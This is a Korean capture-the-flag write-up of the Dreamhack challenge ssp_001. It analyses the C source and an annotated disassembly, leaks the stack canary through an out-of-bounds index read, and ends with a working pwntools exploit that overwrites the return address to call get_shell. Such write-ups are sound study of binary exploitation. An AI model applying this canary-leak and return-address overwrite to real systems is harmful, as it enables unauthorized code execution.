Canary와 관련된 문제인 ssp_001을 풀어보겠다.
환경에 대해서 친절하게 설명해줬지만 그냥 checksec으로 한번 더 해봤다. (wsl 사용)
아키텍쳐는 i386-32를 사용한다 (32bit)
Canary found인 것을 확인할 수 있다.
nc로 접속해보았는데 뭐가 조건이 좀 많았다.
1. Fill the box
2. Print the box
3. Exit
코드를 자세히 살펴봐야 될 것 같다.
[문제 분석]
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
제공된 전체 c 코드이다.
하나하나 세밀히 분석해보겠다.
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
먼저 선언된 함수들이다.
- alarm_handler, initialize : 각각 TIME OUT이 되는 것과, setvbuf에 대한 초기 설정에 해당한다.
- get_shell : 이 함수를 통해 system call로 shell을 얻을 수 있어 보인다.
- print_box : box의 주소와 index를 받아서 index에 해당하는 box값을 출력하는 역할이다.
- menu : 시작할 시에 보이는 menu에 대한 프롬프트 출력 화면임을 알 수 있다.
-> 여기서 get_shell부분이 나중에 쓰일 것 같다.
이제 main 코드를 살펴보겠다.
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
변수 선언과 관련된 부분이다.
- box, name : char 형식으로 선언되었으며 0x40만큼의 길이를 가진다(64바이트)
- select : F P E 중 하나를 입력으로 받을 때 사용되는 변수이다
- idx, name_len : int 형식으로 0으로 초기화 했다.
- initialize() : 시작 부분이다
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
실질적 시작 부분이다. while을 통해 무한루프로 반복하는 것을 알 수 있다.
- read(0, select, 2)를 통해 select에 대한 입력을 받는다.
- switch 문으로 select의 값에 따라 case를 나눈다.
- case F : box input에 대한 것으로 box size에 맞게 box에 대한 input을 받는다
- case P : Element index에 대한 것, idx에 대한 숫자를 scanf로 입력받은 후에 print_box를 하고 끝난다.
- case E : Name size를 name_len 변수에다가 scanf로 입력받은 후 Name을 Name_len길이에 맞게 입력받는다.
case E : 핵심이다. name_len을 정할 수 있고, 이에 맞는 name을 입력받기 때문에 버퍼 오버플로우가 발생할 수 있다.
case P : box의 임계값인 0x40 (64바이트) 를 넘은 index를 조사할 수 있다. 이를 통해 오버플로우된 값을 도출할 수 있고 canary값도 얻을 수 있디.
[디버깅]
pwndbg> disass main
Dump of assembler code for function main:
0x0804872b <+0>: push ebp # main 실행을 위한 현재 EBP값 스택에 push
0x0804872c <+1>: mov ebp,esp # 현재 ESP를 EBP로 복사 (새로운 스택 프레임)
0x0804872e <+3>: push edi # EDI값 스택에 push하여 보존
0x0804872f <+4>: sub esp,0x94 # esp 0x94(148바이트)만큼 줄임-> 로컬 변수 저장을 위한 공간 할당
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc] # eax에 main 함수 변수(argc or argv) 저장
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax # ebp-0x98 위치에 eax값 저장
0x0804873e <+19>: mov eax,gs:0x14 # CANARY값 로드
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax # ebp-0x8에 CANARY 값 저장
0x08048747 <+28>: xor eax,eax # eax 0으로 초기화
0x08048749 <+30>: lea edx,[ebp-0x88] # BOX의 시작 주소 -> ebp-0x88 offset을 edx에 저장
0x0804874f <+36>: mov eax,0x0 # eax에 0 저장
0x08048754 <+41>: mov ecx,0x10 # ecx에 0x10(16) 로드 -> 반복문에 사용
0x08048759 <+46>: mov edi,edx # edi에 edx값 복사
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax # eax(0)의 값을 edi(box 배열)에 ecx(16)번 저장 -> box 배열 16개의 4바이트 블록 0으로 초기화
0x0804875d <+50>: lea edx,[ebp-0x48] # NAME의 시작주소-> ebp-0x48 offset을 edx에 저장
0x08048760 <+53>: mov eax,0x0 # eax에 0 저장
0x08048765 <+58>: mov ecx,0x10 # ecx에 16 저장
0x0804876a <+63>: mov edi,edx # edi에 edx값 복사
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax # name배열 box와 같이 초기화
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0 # select배열의 첫 번째 바이트 (2바이트) 0으로 초기화
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0 # idx 변수 (4바이트) 0으로 초기화
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0 # name_len 변수 (4바이트) 0으로 초기화
0x0804878b <+96>: call 0x8048672 <initialize> #
0x08048790 <+101>: call 0x80486f1 <menu> #
0x08048795 <+106>: push 0x2 # read에 들어가는 함수 인자
0x08048797 <+108>: lea eax,[ebp-0x8a] # select 배열의 시작 주소(ebp-0x8a를) eax에 로드
0x0804879d <+114>: push eax # select 배열 시작 주소 push
0x0804879e <+115>: push 0x0 # read 표준입력 0 push
0x080487a0 <+117>: call 0x80484a0 <read@plt> # read 호출-> select 배열에 저장
0x080487a5 <+122>: add esp,0xc # esp + 0xc(12바이트) -> 함수 호출 전에 push된 인자 제거
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a] # select[0] 값 eax에 로드
0x080487af <+132>: movsx eax,al # select[0]의 값 부호 확장하여 eax에 저장
0x080487b2 <+135>: cmp eax,0x46 # eax와 0x46('F') 비교
0x080487b5 <+138>: je 0x80487c6 <main+155> # F면 주소로 점프
0x080487b7 <+140>: cmp eax,0x50 # eax와 0x50('P') 비교
0x080487ba <+143>: je 0x80487eb <main+192> # P면 주소로 점프
0x080487bc <+145>: cmp eax,0x45 # eax와 0x45('E') 비교
0x080487bf <+148>: je 0x8048824 <main+249> # E면 주소로 점프
0x080487c1 <+150>: jmp 0x804887a <main+335> # 다 아니면 main+335로 점프 -> 다시 메뉴로 돌아감
0x080487c6 <+155>: push 0x804896c # [F]의 시작 부분 / 'box input : ' 문자열의 주소 스택에 푸쉬
0x080487cb <+160>: call 0x80484b0 <printf@plt> # 메세지 출력
0x080487d0 <+165>: add esp,0x4 # 문자열 주소 제거하여 esp 복구
0x080487d3 <+168>: push 0x40 # 64바이트를 읽기 위한 값 스택에 push
0x080487d5 <+170>: lea eax,[ebp-0x88] # box 배열의 시작 주소 EAX에 로드
0x080487db <+176>: push eax # eax push
0x080487dc <+177>: push 0x0 # read 표준입력 0 push
0x080487de <+179>: call 0x80484a0 <read@plt> # read -> box배열에 입력한 데이터 저장
0x080487e3 <+184>: add esp,0xc # esp 초기화
0x080487e6 <+187>: jmp 0x804887a <main+335> # -> 다시 메뉴로 점프
0x080487eb <+192>: push 0x8048979 # [P]의 시작 부분 / 'Element index :' 문자열 주소 push
0x080487f0 <+197>: call 0x80484b0 <printf@plt> # 문자열 출력
0x080487f5 <+202>: add esp,0x4 # esp 복구
0x080487f8 <+205>: lea eax,[ebp-0x94] # idx 변수의 주소 eax에 로드
0x080487fe <+211>: push eax # idx 변수의 주소 push
0x080487ff <+212>: push 0x804898a # %d 형식 문자열의 주소 스택에 push -> scanf함수 포맷으로 사용
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> # scanf 호출 -> idx변수에 저장
0x08048809 <+222>: add esp,0x8 # esp 복구
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94] # idx 변수 값 eax에 저장
0x08048812 <+231>: push eax # idx 변수 값 push
0x08048813 <+232>: lea eax,[ebp-0x88] # box 배열 시작 주소 eax에 로드
0x08048819 <+238>: push eax # box 배열 시작 주소 push
0x0804881a <+239>: call 0x80486cc <print_box> # print_box 호출 -> box[idx] 값 출력
0x0804881f <+244>: add esp,0x8 # esp 초기화
0x08048822 <+247>: jmp 0x804887a <main+335> # -> 다시 메뉴로 점프
0x08048824 <+249>: push 0x804898d # [E]의 시작 부분 / 'Name Size :' 문자열의 주소 push
0x08048829 <+254>: call 0x80484b0 <printf@plt> # 메세지 출력
0x0804882e <+259>: add esp,0x4 # esp 초기화
0x08048831 <+262>: lea eax,[ebp-0x90] # name_len 변수 주소 eax에 로드
0x08048837 <+268>: push eax # name_len 변수 주소 push
0x08048838 <+269>: push 0x804898a # "%d" 형식 문자열 주소 push
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt> # scanf 호출 -> name_len변수에 저장
0x08048842 <+279>: add esp,0x8 # esp 초기화
0x08048845 <+282>: push 0x804899a # 'Name :' 문자열 주소 push
0x0804884a <+287>: call 0x80484b0 <printf@plt> # 메세지 출력
0x0804884f <+292>: add esp,0x4 # esp 초기화
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] # name_len 값 eax에 로드
0x08048858 <+301>: push eax # name_len 값 push
0x08048859 <+302>: lea eax,[ebp-0x48] # name 배열 시작 주소 eax에 로드
0x0804885c <+305>: push eax # name 배열 시작 주소 push
0x0804885d <+306>: push 0x0 # read 표준입력 0 push
0x0804885f <+308>: call 0x80484a0 <read@plt> # read -> name 배열에 입력 데이터 저장
0x08048864 <+313>: add esp,0xc # esp 복구
0x08048867 <+316>: mov eax,0x0 # [종료 및 스택 복원 시작] / eax에 0 로드 -> 반환 값
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8] # edx에 ebp-0x8 (CANARY) 저장된 값 로드
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14 # 실제 CANARY값 가져와서 XOR로 비교
0x08048876 <+331>: je 0x8048884 <main+345> # 같으면 정상적으로 종료 루틴으로 jmp
0x08048878 <+333>: jmp 0x804887f <main+340> # 다르면 비정상적 흐름 감지 -> 프로그램 터트림
0x0804887a <+335>: jmp 0x8048790 <main+101> # -> 루프 도는 부분
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
위 코드블럭은 어셈블리어에 해당한다. gdb로 실행시킨 후 disass main을 통해 main에 대한 어셈블리를 확인한 것이다.
+19 부분에 canary값을 가져오는 것을 확인할 ㅅ수 있고. +321부분부터 카나리값과 ebp-0x8의 값을 비교하여 같으면 통과되는 과정을 거치는 것을 알 수 있다.
주석으로 한 줄 한 줄 심도있게 분석해봤다. 함수의 흐름이 다 담겨있으니 참고용으로 보면 좋을 것 같다. 여기서 중요한 부분들만 뽑아서 설명해보겠다.
0x0804872f <+4>: sub esp,0x94 # esp 0x94(148바이트)만큼 로컬 변수 저장 공간 할당
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc] # eax에 main 함수 변수(argc or argv) 저장
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax # ebp-0x98 위치에 eax값 저장
0x0804873e <+19>: mov eax,gs:0x14 # CANARY값 로드
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax # ebp-0x8에 CANARY 값 저장
-> esp-0x94를 통해 로컬 변수 저장을 위한 공간 할당
-> Canary값 로드하여 ebp-0x8에 저장
0x08048795 <+106>: push 0x2 # read에 들어가는 함수 인자
0x08048797 <+108>: lea eax,[ebp-0x8a] # select 배열의 시작 주소(ebp-0x8a를) eax에 로드
0x0804879d <+114>: push eax # select 배열 시작 주소 push
0x0804879e <+115>: push 0x0 # read 표준입력 0 push
0x080487a0 <+117>: call 0x80484a0 <read@plt> # read 호출-> select 배열에 저장
0x080487d5 <+170>: lea eax,[ebp-0x88] # box 배열의 시작 주소 EAX에 로드
0x080487db <+176>: push eax # eax push
0x080487dc <+177>: push 0x0 # read 표준입력 0 push
0x080487de <+179>: call 0x80484a0 <read@plt> # read -> box배열에 입력한 데이터 저장
0x080487f8 <+205>: lea eax,[ebp-0x94] # idx 변수의 주소 eax에 로드
0x080487fe <+211>: push eax # idx 변수의 주소 push
0x080487ff <+212>: push 0x804898a # %d 형식 문자열의 주소 스택에 push -> scanf함수 포맷으로 사용
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> # scanf 호출 -> idx변수에 저장
0x08048831 <+262>: lea eax,[ebp-0x90] # name_len 변수 주소 eax에 로드
0x08048837 <+268>: push eax # name_len 변수 주소 push
0x08048838 <+269>: push 0x804898a # "%d" 형식 문자열 주소 push
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt> # scanf 호출 -> name_len변수에 저장
0x08048859 <+302>: lea eax,[ebp-0x48] # name 배열 시작 주소 eax에 로드
0x0804885c <+305>: push eax # name 배열 시작 주소 push
0x0804885d <+306>: push 0x0 # read 표준입력 0 push
0x0804885f <+308>: call 0x80484a0 <read@plt> # read -> name 배열에 입력 데이터 저장
변수 위치들 정리
select[2] = ebp - 0x8a
box[0x40] = ebp - 0x88
idx = ebp - 0x94
name_len = ebp - 0x90
name[0x40] = ebp - 0x48
CANARY = ebp - 0x8
Main 함수 내의 변수들의 위치를 위와 같이 파악할 수 있다.
[GDB]
b *main
r
x/4ww $esp
0xf7da0cb9 = main 시작 전 esp값 = RETURN 값
ni
x/4ww $esp
0x00000000 = ebp = esp -> 바이너리로 분석했더니 0x0인 것을 확인했다. 실제론 다를 수 있음
b *main +28
c
x/8wx $ebp-0x8
Canary 값 = 0x2d5eb100 -> 프로그램 시작마다 달라지기 때문에 사실상 지금 알아도 의미가 없음
Canary와 ebp 사이에 4바이트짜리 dummy값이 존재한다
EBP = 0x00000000 -> ebp
RETURN 값 = 0xf7da0cb9
[Write Up]
변수 위치를 순서대로 정리해보겠다.
idx (int) = ebp-0x94
name_len (int) = ebp-0x90
select (char [2]) = ebp-0x8a
box (char [0x40]) = ebp-0x88
name (char [0x40]) = ebp-0x48
CANARY = ebp-0x8
Dummy = ebp - 0x4
ebp (4바이트)
RETURN (4바이트)
그림으로 나타내면 위와 같다.
1. Canary 값 유출
Menu중 [P]를 사용하면 box의 index를 넘어서까지 조사할 수 있다. box의 시작 부분에서 Canary까지의 거리는 128이므로 128부터 131까지를 조사하면 Canary값을 도출해낼 수 있다.
Canary 값 : 0xebce8500 (Little Endian)
2. Stack Overflow
[E]를 사용하면 name_size에 맞게 name을 조정해서 넣을 수 있다. 이 때 name_len의 길이가 정해져있지 않기 때문에 알아낸 Canary를 덮고 RET주소를 get_shell 주소로 덮을 수 있다.
'A' * 64 + Canary + 'A' * 8 + get_shell
Exploit Code
#!/usr/bin/env python3
from pwn import *
def slog(n,m):
return success(': '.join([n, hex(m)]))
p = remote('host3.dreamhack.games', 9434)
e = ELF("./ssp_001")
context.arch = 'i386'
#context.log_level = 'debug'
get_shell = e.symbols['get_shell']
canary = b""
i=131
while i>=128:
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i-1
canary = int(canary, 16)
slog("canary", canary)
payload = b'A'*64 + p32(canary) + b'A'*8 + p32(get_shell)
p.sendlineafter("> ",'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)
p.interactive()
flag를 획득할 수 있다.
참고
'System Hacking' 카테고리의 다른 글
[System Hacking] Dreamhack : Return to Library 문제 풀이 (RTL) (0) | 2024.08.24 |
---|---|
[System Hacking] - Dreamhack : Return to Shellcode 문제 풀이 (Canary) (0) | 2024.08.21 |